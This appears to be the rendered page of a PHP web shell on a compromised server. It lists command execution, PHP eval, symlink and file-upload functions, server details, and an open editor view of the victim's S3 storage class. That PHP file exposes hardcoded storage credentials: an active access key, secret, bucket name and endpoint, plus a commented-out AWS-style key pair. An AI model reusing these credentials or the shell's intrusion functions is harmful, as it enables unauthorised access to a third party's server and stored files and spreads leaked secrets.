Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
8.1.8
Disk Space
203.89 GB
Server Addr
171.9.3.2
Your IP
171.9.3.1
Edit File
File:
<?php use Aws\S3\S3Client; use Aws\Exception\AwsException; class FileSystem { //var $key = 'AKIA2KQLOCLH7SEKJ2GP'; //var $secret = 'gUvNuv0VBtmw7kPG70Dn1tVFVfXO1mRfbIWAgphS'; //var $bucket = 'assesidocs'; var $key = 'assesiadmin'; var $secret = 'C@a#156cAm@rA_32CSa2AsPr0FdaEs@'; var $bucket = 'aturismo'; var $s3; public function __construct() { $credentials = new Aws\Credentials\Credentials($this->key , $this->secret); /* USE EXAMPLE MINI IO ‘endpoint’ => ‘http://192.168.40.141:9000', ‘use_path_style_endpoint’ => true, $this->s3 = new S3Client([ 'version' => 'latest', 'region' => 'us-east-1', 'credentials'=>$credentials]); */ $this->s3 = new S3Client([ 'version' => 'latest', 'endpoint' => 'https://object1.assesi.com.br', 'use_path_style_endpoint' => true, 'region' => 'us-east-1', 'credentials'=>$credentials]); } public function send($cliente_chave, $contents, $idfile, $exte) { try { $this->s3->putObject([ 'Bucket' => $this->bucket, 'Key' => $cliente_chave.'/'.$idfile.'.'.strtolower($exte), 'Body' => $contents, ]); $msn = 'ok'; } catch (Aws\S3\Exception\S3Exception $e) { $msn = 'error'; } return $msn; } public function viewer($idfile) { try { $result = $this->s3->getObject([ 'Bucket' => $this->bucket, 'Key' => $idfile ]); $msn = $result['Body']; } catch (Aws\S3\Exception\S3Exception $e) { $msn = 'error'; } return $msn; } }